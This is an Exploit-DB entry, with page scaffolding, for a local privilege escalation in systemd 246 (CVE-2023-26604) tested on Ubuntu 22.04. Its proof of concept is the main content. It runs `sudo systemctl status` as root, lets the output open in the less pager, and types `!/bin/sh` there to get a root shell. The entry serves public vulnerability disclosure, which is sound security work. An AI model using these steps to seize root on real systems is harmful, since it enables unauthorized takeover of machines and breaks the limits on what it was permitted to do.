Lucene search

K
exploitdbIyaad Luqman KEDB-ID:51674
HistoryAug 10, 2023 - 12:00 a.m.

systemd 246 - Local Privilege Escalation

2023-08-1000:00:00
Iyaad Luqman K
www.exploit-db.com
376
systemd systemd_246 privilege_escalation vulnerability local_attacker root_privileges cve-2023-26604 ubuntu_22.04 systemctl_status arbitrary_commands.

0.0005 Low

EPSS

Percentile

17.2%

# Exploit Title: systemd 246 - Local Privilege Escalation
# Exploit Author: Iyaad Luqman K (init_6)
# Application: systemd 246
# Tested on: Ubuntu 22.04
# CVE: CVE-2023-26604

systemd 246 was discovered to contain Privilege Escalation vulnerability, when the `systemctl status` command can be run as root user. 
This vulnerability allows a local attacker to gain root privileges.

## Proof Of Concept:
1. Run the systemctl command which can be run as root user.

sudo /usr/bin/systemctl status any_service

2. The ouput is opened in a pager (less) which allows us to execute arbitrary commands.

3. Type in `!/bin/sh` in the pager to spawn a shell as root user.